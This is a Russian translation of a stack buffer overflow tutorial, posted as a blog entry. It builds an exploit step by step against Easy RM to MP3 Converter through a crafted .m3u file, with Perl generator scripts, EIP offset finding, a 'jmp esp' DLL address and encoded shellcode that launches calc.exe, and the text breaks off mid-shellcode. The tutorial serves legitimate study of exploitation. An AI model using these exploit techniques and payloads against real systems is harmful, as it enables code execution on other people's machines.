среда, 26 октября 2011 г.

Руководство по написанию эксплойтов. Часть 1 - Стековое переполнение буфера

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ


17 июля 2009, некто под ником ‘Crazy_Hacker’ опубликовал на packetstormsecurity.org отчет об уязвимости в утилите под названием EasyRMtoMP3Converter (под XP SP2). Данный отчет включал в себя PoC(Proof of Concept - демонстрационный) эксплойт (который, между прочим, не сработал на MS Virtual PC с XP SP3 Eng).
Отличная работа. Вы можете скопировать код эксплойта, запустить его, и убедиться, что он не работает, или… вы можете попытаться понять процесс создания эксплойта, таким образом, сможете сами исправить нерабочий эксплойт, либо написать собственный с нуля.

Примечание: если вы не любите дизассемблировать, изучать, и пытаться понять работу шеллкода, а сразу пытаетесь запустить незнакомый эксплойт (особенно, если он заранее откомпилирован), то вы сильно рискуете безопасностью собственной системы.

Вопрос в том, как писатели эксплойтов создают их? Что включает в себя процесс от обнаружения потенциальной уязвимости до написания полноценного эксплойта? И как мы можем использовать информацию о найденной уязвимости для написания своего собственного эксплойта?

Когда я разбирался с отчетом об этой уязвимости, и взглянул на эксплойт, я понял, что это идеальный пример для объяснения основ их написания. Он чист, прост и позволяет продемонстрировать некоторые из методик, которые используются для написания стабильных и полноценных эксплойтов переполнения буфера (stack buffer overflows).

Несмотря на то, что вышеупомянутый отчет об уязвимости уже включает эксплойт, мы будем использовать лишь саму информацию об уязвимости в EasyRMtoMP3Converter, и шаг за шагом напишем свой собственный рабочий эксплойт, ничего не копируя из оригинала. Напишем его с нуля, и на сей раз заставим работать под XS SP3.

Зачастую, отчеты об уязвимостях в программах содержат описание и основную информацию о самой уязвимости. В данном случае «Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file». Иначе говоря, мы можем создать .m3u файл, подать его в программу, и тем самым её эксплуатировать. Такие отчеты не всегда столь информативны, но в большинстве случаев вы сможете понять то, как спровоцировать аварийный отказ, или заставить приложение вести себя нестандартно.

Проверка ошибки.

Прежде всего, давайте убедимся, что приложение действительно "падает" (crash), когда мы открываем в нём специально сформированный .m3u файл. Скачайте и установите уязвимую версию «Easy RM to MP3 Conversion Utility», под Windows XP. В отчете о данной уязвимости написано, что эксплойт работает под XP SP2 Eng, но я буду использовать XP SP3 Eng (прим. пер.: я использую XP SP3 Rus, и все адреса в дальнейшем связаны с ней).



Для получения более подробной информации, напишем следующий незамысловатый скрипт на Perl, который будет создавать специально сформированный .m3u файл:

#!usr/bin/perl
my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

Сохраните и запустите данный скрипт, чтобы создать .m3u файл, в который будет записано десять тысяч «А». Открыв данный файл в «Easy RM to MP3 Converter», программа сгенерирует ошибку, но правильно её обработав, продолжает выполняться. Изменив сценарий, и записав 20 тыс. «А», мы увидим тоже самое, а вот в случае с 30 тысячами, программа упадет:



Таким образом, мы определили, что приложение падает, если мы подаем ему файл, который содержит от 20 000 до 30 000 символов «А». Но что нам это даёт?

Проверив наличие ошибки, следует убедиться в её применимости.

Очевидно, что не каждый аварийный отказ в программах может быть эксплуатирован. В большинстве случаев это невозможно, но иногда удаётся. Под «эксплуатацией» (exploitation) понимается то, что приложение сможет выполнить те действия, для которых оно не предназначалось, например, выполнение вашего кода. Самый простой способ заставить приложение сделать что-либо иное заключается в переадресации его прикладного потока на ваш код. Это можно сделать, управляя EIP (указатель инструкции, или Program Counter – счетчик программы.), который является регистром процессора, и содержит в себе указатель (адрес) на команду, которая должна быть выполнена.
Представим себе, что приложение вызывает функцию с параметром. Прежде, чем войти в функцию, процессор сохранит текущее местоположение (адрес) в EIP, и таким образом он будет знать, куда возвратиться, когда функция будет завершена. Если вам удастся изменить текущее значение в EIP (размером 4 байта), и перезаписать его значением адресом памяти своего кода, то удастся изменить прикладной поток и выполнить «нечто иное». Код, который вы хотите выполнить, получив управление над потоком программы, называется шелл-кодом (shellcode). Таким образом, перезаписав 4 байта в EIP своим значением, мы получаем контроль над ходом выполнения программы.

Прежде чем продолжить – немного теории.

Каждая работающая программа в Windows использует часть памяти. Память процесса содержит 3 сегмента:

  • сегмент кода (code segment) – команды, которые выполняет процессор. EIP указывает на адрес следующей команды.
  • сегмент данных (data segment) – содержит информацию о переменных и динамических буферах.
  • сегмент стека (stack segment) – предназначен для передачи данных/параметров функциям, и используется как пространство для переменных. Начало стека – его дно. PUSHL – добавить значение в стек. POPL – вытолкнуть значение (4 байта) из стека в регистр.

Если вы хотите обратиться к памяти стека непосредственно, вы можете использовать ESP (Stack Pointer – указатель вершины стека). После помещения значения в стек (PUSH), ESP уменьшится на значение размера добавленных данных (4 байта). После POP, ESP увеличится (на 4 байта в случае адресов/указателей).

Когда функция/подпрограмма введена, создаётся и область стека для неё. Это область содержит в себе параметры функции, и используется для их передачи. К верхнему (текущему) местоположению стека можно обратиться через указатель вершины стека (ESP), а к основанию через указатель базы (EBP).

Универсальные регистры процессора (Intel x86):
EAX - (Accumulator) аккумулятор – используется для расчетов, и хранения возвращаемых значений.
EBX – (Base) база - используется для хранения данных
ECX – (Counter) счетчик - используется в итерациях(циклах). Считает вниз (вычитает).
EDX – (Data) данные – используется в более комплексных расчетах (умножение/деление над большими числами), и для сохранения промежуточных значений.
ESP – (Stack Pointer) указатель вершины стека
EBP – (Base Pointer) указатель базы (дно стека)
ESI – (String Index) хранит местоположение входных данных
EDI – (Data Index) указывает местоположение данных полученных в результате операции
EIP – указатель инструкции

Память процесса.

Когда приложение запускается в среде Win32, создается процесс и ему выделятеся виртуальная память. В 32-бинтных процессах адресное пространство начинается от 0?00000000 до 0xFFFFFFFF, где область от 0?00000000 до 0x7FFFFFFF назначается для пользовательских процессов, а область от 0?80000000 до 0xFFFFFFFF предназначена для процессов ядра системы. Windows использует модель сплошной памяти(flat memory), это значит, что центральный процессор может непосредственно/последовательно/линейно обратиться ко всем доступным местам памяти, не имея необходимость использовать схему сегментации/листания.

Когда процесс создан, также создаётся PEB (Блок Выполнения Процесса) и TEB (Блок Окружения Потока).

PEB содержит все параметры пользовательского процесса:
  • местоположение главной выполняемой программы
  • указатель/загрузчик данных (может использоваться, для перечисления всех dll/модулей, которые были/могут быть загруженными в процесс)
  • указатель на информацию о динамической памяти (heap - куче)
TEB описывает состояние потока, и включает:
  • местоположение PEB в памяти
  • местоположение потока в стеке
  • указатель на первое вхождение в SEH (см. туториал 3 и 3b, чтобы узнать больше о том, что такое SEH)
У каждого потока в процессе есть один TEB.

Карта памяти процесса Win32 выглядит следующим образом:



Cегмент .text программы или dll только для чтения, поскольку он содержит прикладной код, и это препятствует его изменению. У этого сегмента памяти установленный размер.

Сегмент .data используется для хранения глобальных, статических переменных(констант) и строк программы. Сегмент данных перезаписываем и имеет установленный размер.

Сегмент динамической памяти(heap) используется для остальной части переменных программы. Он может увеличиваться и уменьшаться. Всей памятью в куче управляет программа распределения. Динамическая память растет к более высоким адресам.

Стек

Стек - часть памяти процесса, структура данных, которая работает в режиме LIFO «Первым пришел, последним вышел». Стек распределяется операционной системой для каждого потока/процесса. Когда поток/процесс завершает работу, стек очищается. Размер стека определяется, при создании потока и не изменяется. Стек довольно быстр, но ограниченный в размере.

В LIFO-порядке новые помещаемые в стек данные (команда PUSH) являются первыми в списке, и удаляются в самом конце (команда POP).

Когда стек создан, указатель вершины стека(ESP) указывает на самый высокий адрес в стеке. Поскольку информация, помещенная в стек попадает в его вершину, то значит, что стек растет к низким адресам.

Стек содержит локальные переменные, вызовы функций и другую информацию, которая не сохраняеться для экономии времени.
Каждый раз, когда происходит вызов какой-либо функции, параметры этой функции помещаются в стек, так же, как и сохраненные значения регистров (EBP, EIP). Когда функция завершается, сохраненное значение EIP выходит из стека и помещается обратно в EIP, таким образом возобновляется поток программы.

Продемонстрируем поведение стека на примере простой программы:
#include  

void do_something(char *Buffer)
{
     char MyVar[128];
     strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
     do_something(argv[1]);
}

Вы можете скомпилировать этот код, при помощи C-компилятора (прим. пер.: я использовал Win32 LCC). На моей системе я назвал проект "stacktest".
Выполнение приложения: "stacktest.exe строка".

Этому приложению через параметр (argv[1]) передаётся строка, которая передается функции do_something(). В этой функции параметр сохраняется в переменную с допустимым размером 128 байтов. Так, если параметр содержит более чем 127 байт (+ нулевой байт, чтобы закончить строку), может произойти переполнение буфера.

Когда функция "do_something (param1)" вызывается из main(), происходит следующее:

Создается новая область в стеке, на вершине 'родительского' стека. Указатель вершины стека (ESP) указывает на самый высокий адрес только что созданного стека. Это - "вершина стека".



Прежде чем do_something() будет вызван, указатель на её параметр(ы) помещается в стек. В нашем случае это - указатель на argv [1].



Стек после команды mov:



Затем, происходит вызов функции do_something(). Команда CALL сначала поместит текущий указатель команды на стек (таким образом, будет известно, куда возвратиться потоку после завершения функции), и после перейдет к выполнению кода функции.

Стек после команды CALL:



В результате помещения аргумента функции в стек (PUSH), ESP уменьшиться на 4 байта (АААА), и теперь указывает на более низкий адрес.



ESP в 0022FF5C. В этом адресе мы видим сохраненный EIP (Return to…), сопровождаемый указателем на параметр (AAAA в этом примере). Этот указатель был сохранен на стеке прежде, чем выполнилась команда CALL.



Затем, функция начинает выполнение. Сохраняется указатель EBP на стек, таким образом, можно будет восстановить прежнее состояние, когда функция завершится. Команда, которая сохранит указатель области стека - "push ebp". ESP снова уменьшается на 4 байта.



После помещения EBP в стек, текущий указатель вершины стека (ESP) помещен в EBP. В той точке, и ESP и EBP указываются наверху текущего стека. На ту точку стека будут ссылаться ESP и EBP (указатель базы текущего стека). Таким образом, приложение сможет сослаться на переменные, используя смещения к EBP.

Примечание: Большинство функций начинается с этой последовательности: PUSH EBP, сопровождаемый MOV EBP, ESP

Что ж, если бы мы поместили ещё 4 байта в стек, ESP был бы снова уменьшен, а в EBP записался бы адрес, где это произошло. Мы могли бы сослаться на эти 4 байта при использовании EBP-0?8.

Далее, мы можем видеть, как объявлено/распределено пространство стека для переменной MyVar (128 байтов). В стеке имеется область, чтобы держать данные из этой переменной … ESP снова уменьшается на несколько байт. Это число байт, вероятно, будет больше чем 128, из-за подпрограммы распределения, определенной компилятором. В нашем случае это - 0?98 байт. Таким образом, мы видим команду "SUB ESP, 0?98".



Дизассемблированная функция выглядит следующим образом:

00401290 /$ 55                PUSH EBP
00401291 |. 89E5              MOV EBP,ESP
00401293 |. 81EC 98000000     SUB ESP,98
00401299 |. 8B45 08           MOV EAX,DWORD PTR SS:[EBP+8]       ; |
0040129C |. 894424 04         MOV DWORD PTR SS:[ESP+4],EAX       ; |
004012A0 |. 8D85 78FFFFFF     LEA EAX,DWORD PTR SS:[EBP-88]      ; |
004012A6 |. 890424            MOV DWORD PTR SS:[ESP],EAX         ; |
004012A9 |. E8 72050000       CALL        ; \strcpy
004012AE |. C9                LEAVE
004012AF \. C3                RETN

Вы можете видеть начало выполнения функции (PUSH EBP и MOV EBP, ESP). Также видно место, отведенное для MyVar (SUB ESP, 98), и команды MOV и LEA, которые, в основном устанавливают параметры для strcpy() - функции, берущей указатель из argv[1], для того, чтобы скопировать данные в MyVar.

Если бы здесь не было strcpy(), функция бы завершилась и "раскрутила" бы стек. Это могло бы вызвать изменение ESP в обратную сторону, к тому месту, где сохранено значение EIP, и выполнилась бы команда RET. RET, в данном случае, перейдёт к EIP, таким образом, произойдёт возвращение в главную функцию main(), правда не туда откуда произошел вызов do_something(). В завершении, произойдет выполнение команды LEAVE, которая восстановит framepointer и EIP.

В моем примере функция strcpy() есть.
Эта функция будет читать данные из адреса, пока не увидит нулевой байт (признак конца строки), на который указывает [Buffer], и сохранит их в пространстве для MyVar,. В то время, пока копируются данные, ESP находится там же. Функция strcpy() не использует команду PUSH, чтобы перемещать данные по стеку. Она читает байты, и сообщает о них стеку, используя индексы (например: ESP, ESP+1, ESP+2, и т.д). После копирования, ESP все еще находится в точке начала строки.



Это значит, что если данные в [Buffer] будут длиннее чем 0?98 байт, то функция strcpy () перезапишет ими EBP, и EIP (и так далее). Она будет совершать чтение/запись до тех пор, пока не достигнет нулевого байта в этой строке.



ESP все еще указывает на начало строки. strcpy() завершается, как будто бы все хорошо. После strcpy(), следует завершение функции. И тут становиться уже интересно. Область для корректного завершения функции перезаписана буквами «А». ESP будет двигаться обратно, до места где сохранен EIP, в котором находиться RET – выход из функции.
Таким образом, мы получим контроль над EIP.
Управляя EIP, вы можете изменить адрес возврата функции, чтобы вернуться в "нормальный поток". Если вы измените этот адрес, используя буферное переполнение, это будет уже не "нормальный поток".

Таким образом, вы можете записать поверх буфера в MyVar, EBP, EIP, много «A» (ваш собственный код) в области до и после той, где сохранено EIP. После подачи буфера ([MyVar][EBP][EIP][Ваш код]), ESP должен/будет находиться в начале [Ваш код]. Если вы сможете заставить EIP пойти в ваш код, вы получите управление над дальнейшим ходом выполнения программы.

Отладчик.

Чтобы понаблюдать за состоянием стека и значениями в регистрах, вы должны подключиться к программе при помощи отладчика.

Существует множество отладчиков подходящих под эти цели. Отладчиками, которыми я пользуюсь чаще всего, являются WinDbg, Immunity Debbuger, OllyDbg. Давайте воспользуемся WinDbg, и при установке укажите его, как стандартный в системе отладчик, используя "windbg -I".





Вы также можете отключить всплывающее сообщение «xxx столкнулся с проблемой и должен закрыться», установив в "0" ключ реестра: HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto



Если WinDbg будет жаловаться, что файлы символов не обнаружены, то создайте папку на жестком диске, например «C:\WinDbgSymbols», и пройдя в меню программы «"File" – "Symbol File Path"» и введите команду (без пробелов):
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

Отлично, давайте начнем.

Запустите Easy RM to MP3 и загрузите в неё файл crash.m3u. Приложение падает, и если при установке вы установили WinDbg как «родной» отладчик, должно появиться сообщение, в котором следует нажать "Debug".

Прим. Переводчика: «Если вы не установили WinDbg в режим "post-mortem", то сделайте следующее: запустите конвертер, и WinDbg. В отладчике пройдите в "File – Attach to Process (F6)" и выберете из появившегося списка, процесс нашей испытуемой программы – "RM2MP3Converter.exe". Нажмите в отладчике "Debug – Go(F5)". Теперь откройте через EasyRMtoMP3 файл crash.m3u, и следите за реакцией отладчика»

WinDbg:



Immunity:



программы, которое показывает команды трансляции и коды операций (окно пусто, потому что EIP в настоящее время указывает на 41414141, и это не правильный адрес). В верхнем правом окне вы можете видеть регистры. В нижнем левом углу вы видите дамп памяти 00446000 в этом случае. В нижнем правом углу находиться окно стека.

В обеих случаях мы видим в указателе команды (EIP) 41414141, что является шестнадцатиричным представлением AAAA.

Примечание: в Intel x86 адреса сохранены в формате little-endian. Это значит, что они отображаются наоборот. На примере с AAAA это незаметно, но вот если бы это была последовательность ABCD, то мы бы наблюдали в EIP 44434241, что эквивалентно DCBA.

Таким образом, мы видим, что часть crash.m3u записалась в буфер и вызвала его переполнение. А так, как часть строки попала и в EIP, мы можем делать вывод об исполнении своего кода, путем изменения значения в EIP. Такое поведение называется «переполнение стека» (или «буферное переполнение», или BoF).

Так как наш файл содержит только символы "A", мы незнаем точно, насколько большим наш буфер должен быть, чтобы попасть точно в EIP. Иными словами мы должны знать точную позицию в нашем буфере/полезной нагрузке (payload), чтобы перезаписать EIP, тем что нам нужно. Эта позиция часто упоминается как "смещение/оффсет/offset".

Определяем размер буфера, чтобы попасть точно в EIP.

Нам уже известно, что EIP расположен где-то между 20 000 и 30 000 байт от начала буфера. Теперь, мы можем перезаписать все А адресом, который мы бы хотели поместить в EIP. Это сработает, но мы попробуем найти точное место, где происходить перезапись. Чтобы определить в буфере точное смещение данных для EIP, нам необходимо проделать кое-какие действия.
Во-первых, давайте сузим потенциальное местоположение, изменив немного Perl-скрипт. Мы создадим файл, который будет содержать 25000 «A» и 5000 «B». Если в EIP попадут 41414141(АААА), то искомая область буфера находится между 20000 и 25000 «А», а если в EIP будет 42424242(BBBB), то область находиться между 25000 и 30000.

#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
my $junk = $junk1.$junk2;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "m3u File Created successfully\n";

Запустим этот скрипт, и получим новый crash.m3u файл. Запустив его в конвертере и отследив отладчиком, увидим:



Видим, что EIP содержит 42424242(BBBB), а значит что смещение EIP находиться между 25000 и 30000. Нам также известно, что и в ESP попали «B», а значит, что EIP находиться не в самом конце буфера (т.к. EIP идет перед ESP).



Дамп содержимого в ESP:



Отлично! Мы переписали EIP «BBBB» и увидели его продолжение в ESP.
Прежде чем улучшить наш perl-скприт, мы должны узнать место в буфере(смещение), которое в дальнейшем перезапишет EIP. Для этих целей воспользуемся Metasploit Framework’ом. В нём присутствует отличный инструмент для подсчета смещений. Он генерирует строку состоящую из уникальных последовательностей – паттернов, по которым в дальнейшем определяется местоположение в буфере, т.к. для каждого участка буфера идет уникальный порядок символов в паттерне.
Откройте папку инструментов Metasploit (на данный момент версия 3.4) «msf3/tools/», и запустите утилиту под названием pattern_create.rb, выставив значение 5000 знаков. Полученный результат запишите в perl-скрипт, таким образом:

#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "СЮДА ВСТАВИТЬ ПОЛУЧЕННУЮ СТРОКУ";
my $junk = $junk.$junk2;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

Создайте m3u-файл, и запустите в конвертере. Обратите внимание на EIP:



Значение, которое на этот раз попало в EIP – 0x386b4237(в little endian это 37 42 6b 38 – 7Bk8). Теперь вновь обратимся к Metasploit, а именно к его утилите pattern_offset.rb. Запускаем так:

# ./pattern_offset.rb 0x386b4237 5000

Получили 1103. Это длина буфера до области перезаписывающей EIP. Что ж, если мы создадим файл с 25000+1103 «A» и прибавим к ним «BBBB», то при очередном переполнении мы увидим в EIP 42 42 42 42. Также мы знаем, что в ESP попадает остаток буфера, не вошедший в EIP. Давайте добавим для наглядности «С».
Изменяем perl-скрипт на новый лад:

#!usr/bin/perl
my $file= "eipcrash.m3u";
my $junk= "A" x 26013;#25000+1103
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

Выполним данный скрипт, получившийся файл отправим в программу. Вывод будет следующим:





Превосходно! В EIP попало BBBB, так как мы и хотели. Теперь мы можем управлять потоком программы.

Примечание: вся работа описанная здесь, содержит адреса моей операционной системы, которые могут отличаться от ваших. Имейте это ввиду при копировании кода, содержащего смещения, и перед запуском изменяйте их на свои.

Теперь буфер нашего эксплойта выглядит так:



А стек так



Ищем место в памяти для размещения шеллкода.

Мы контролируем EIP. Таким образом, мы можем указать EIP свернуть в другое место, которое будет содержать наш собственный код (shellcode). Но как найти это место, и как туда поместить свой шеллкод, и в дальнейшем осуществить переход EIP к нему?

Чтобы приложение упало, мы записали 26013 «A» в память, переписали значение в EIP, а также записали цепочку «C» в ESP.

Когда приложение терпит крушение, понаблюдайте за регистрами, получая их дамп (команды: d esp, d eax, d ebx, d ebp, …). Если у вас получиться найти свой буфер (из «A» или из «C») в одном из регистров, то у вас есть шанс заменить их на свой шеллкод. В нашем примере мы видим, что ESP содержит много «С», и эта область идеальна для размещения там нашего шеллкода.

Несмотря на то, что мы можем увидеть массив из символов «C», мы не знаем наверняка, что первая буква C (по адресу 000ffd38, на который указывает ESP), является фактически первым символом в массиве.
Мы изменим perl-скрипт, и подадим строку символов (я взял 144 символа, но вы можете взять больше или меньше) вместо массива с «C»:

#!usr/bin/perl
my $file= "test1.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Генерируем файл, и запускаем в конвертере. Делаем дамп ESP («d esp»):



Здесь мы можем наблюдать два интересных момента:
  • ESP начинается с 5-го символа нашего шаблона, а не с первого.
  • После шаблона мы видим "A". Они принадлежат первой части буфера (26013 x «A»), таким образом мы можем поместить наш шеллкод в первую часть буфера (прежде, чем перезапишем RET)

Но давайте не будет идти по такому пути. Мы для начала добавим 4 символа перед шаблоном и повторим тест. Если все подходит, ESP должен будет указать непосредственно на начало нашего шаблона:

#!usr/bin/perl
my $file= "test2.m3u";
my $junk= "A" x 26068;
my $eip = "BBBB";
my $newchar = "X" x 37;
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$newchar.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Проведем переполнение ещё раз, и посмотрим на реакцию:



Уже намного лучше. Удалось выровнять буфер к началу ESP-области.

Итак, что мы имеем:
  • управление EIP
  • область для размещения шеллкода
  • регистр, который указывает на шеллкод, а именно адрес 000ffd38

Что нам осталось сделать:
  • встроить реальный шеллкод
  • заставить EIP перейти на шеллкод, указав адрес 000ffd38

Давайте попробуем.
Проведем небольшой тест: запишем 26013 «А», после запишем 0x000ffd38 в EIP, за ними будут идти 25 NOP’ов, после них разрыв, и ещё немного NOP’ов. Код скрипта следующий:

#!usr/bin/perl
my $file= "test3.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x000ffd38);  
my $shellcode = "\x90" x 25; # NOP-след
$shellcode = $shellcode."\xcc"; #разрыв
$shellcode = $shellcode."\x90" x 25; # NOP-след
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Приложение упало. Если взглянуть на EIP, то можно видеть, что он указывает на 0x000ffd38, как и ESP. Если сделать дамп ESP, то можно увидеть не совсем то, что ожидалось:



Переход непосредственно к адресу памяти, возможно, не лучшее решение. 000ff730 содержит нулевой байт, который является признаком конца строки … так «A», которые мы видим, исходят из первой части буфера …, мы ещё не достигали точки, где могли бы писать свои данные после перезаписи EIP.
Кроме того, использование жестко заданного адреса памяти для перехода к шеллкоду сделало бы эксплойт очень ненадежным. Дело в том, что этот адрес памяти может быть различным в зависимости от версий OS, языка, патчей, и т.д.
Небольшое отступление: мы не должны переписывать EIP прямым указателем адреса памяти, таким как 000ffd38. Это не хорошая идея. Мы должны использовать другую методику, чтобы достигнуть той же цели: создать переход приложения к нашему собственному коду. Идеально было бы сослаться на регистр (или смещение к регистру), в нашем случае к ESP, и найти функцию, которая перейдет к этому регистру. Тогда мы попытаемся перезаписать EIP адресом той функции.

Перейти к шеллкоду более надежным способом.

Нам удалось поместить наш шеллкод в ESP. Если бы этого не было, то мы обратились бы к значениям других адресов регистра в надежде найти наш буфер. В любом случае мы будем использовать ESP.

Переход к ESP является очень частым случаем в приложениях Windows. Фактически, приложения используют одну или более dll-библиотек, и их содержимое. Кроме того, адреса, используемые в dll, являются статическими. То есть, если мы найдём dll, которая содержит команду, для перехода к ESP, и если нам удастся перезаписать EIP адресом той команды, то переход может получиться. Давайте проверим. Прежде всего, мы должны выяснить, какой код у операции "jmp ESP".
Мы можем сделать это, запустив конвертер и подключить к его процессу отладчик. Это дает нам преимущество, т.к. windbg будет видеть все dll и модули, которые загружены приложением.



После присоединения отладчика к процессу приложение остановится. Для этого, в командной строке windbg, внизу экрана, введём "a" (assembler). Далее вводим "jmp ESP".



Жмем "Enter", и вводим "u" (unassemble):



Рядом с 7c90120e, мы видим ffe4. Это – код для операции "jmp esp"
Теперь мы должны найти этот код в одной из загруженных dll.
Пролистав окно отладчика вверх, найдём строки, которые указывают на dll, принадлежащие конвертеру:



Если мы сможем найти код операции "jmp esp" в одной из этих dll, то у нас есть шанс создать надежно работающий эксплойт на платформе Windows XP. Если бы мы захотели использовать dll, которая принадлежит OS, то эксплойт мог отказаться работать на других версиях системы. Исследуем содержимое одной из dll нашей экспериментальной программы.
Для осмотра возьмём " C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll". Эта dll загружена между 01c30000 и 020fd000. Искать в этой области мы будет код нашей операции - "ff e4", введя в командную строку отладчика "s 01c30000 l 020fd000 ff e4":



Превосходно. Когда выбран адрес, важно найти нулевые байты. Мы должны избегать использования адресов с нулевыми байтами, особенно, если мы используем буферные данные, которые будут находиться после перезаписанного EIP. Нулевой байт стал бы признаком конца строки, и оставшаяся часть буферных данных будет непригодной.

Ещё одна хорошая область для поиска кодов операции "s 70000000 l fffffff и следующие e4".

Примечание: есть другие способы получить адреса кода операции:
  • программа findjmp (от Ryan Permeh): компилируем findjmp.c и выполняем со следующими параметрами:
  • база опкодов от metasploit.com
  • memdump


Так как мы хотим вставить наш шеллкод в ESP,адрес на jmp esp не должен иметь нулевых байтов. Если бы у этого адреса были бы нулевые байты, мы перезаписали бы EIP адресом, который содержит нулевые байты. Нулевой байт это признак конца строки, таким образом все, что следует после него, будет проигнорировано. В некоторых случаях нулевой байт имеет место быть. В адресах, которые начинаются с нулевого байта, т.к. из-за little endian, нулевой байт стал бы последним байтом в регистре EIP. И если мы не посылаем пэйлод после перезаписи EIP (т.е., если шеллкод будет подан до того, как будет перезаписан EIP), то тогда это будет работать.
В любом случае, сейчас мы будем использовать полезную нагрузку после перезаписи EIP, поэтому адрес не должен содержать нулевые байты.

Первый адрес: 0x01def23a
Проверим, что этот адрес содержит jmp esp (отбросьте "0x" 01def23a ) и введём в командную строку отладчика "u 01def23a":



Теперь, если мы запишем в EIP 0x01def23a, то выполниться операция jmp esp, тем самым передав управление на наш шеллкод. Т.е., мы добились работоспособности эксплойта. Давайте протестируем его.
Закройте отладчик, и создайте новый .m3u-файл при помощи нижеследующего perl-скрипта:

#!usr/bin/perl
my $file= "test4.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x01def23a);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";


Теперь программа упала по адресу 000ffd4d, который является точкой останова(breakpoint).
Теперь можно перейти к использованию функциональных шеллкодов.

Выбираем шеллкод и завершаем разработку эксплойта.

В metasploit есть отличный генератор полезных нагрузок, который поможет вам при разработке шеллкода. Полезные нагрузки идут с различными опциями, и (в зависимости от того, что они должны сделать), могут быть маленьких или очень больших размеров. Если у вас есть ограничение по размеру в пространстве для буфера, то вы могли бы обратить своё внимание на многоуровневый шеллкод (multi-staged shellcode), или использовать собственноручный шеллкод, такой как этот http://packetstormsecurity.org/shell...-shellcode.txt (32 байта cmd.exe шеллкод для xp sp2). Также, вы можете разделить свой шеллкод на более меньшие части - 'eggs' и использовать методику, названную 'eggs-hunting'.

Скажем, мы хотим, чтобы calc.exe был выполнен, как наша полезная нагрузка для эксплойта, тогда шеллкод может выглядеть следующим образом:

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

Объединим данную нагрузку с нашим perl-скриптом:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26013;
my $eip = pack('V', 0x01def23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
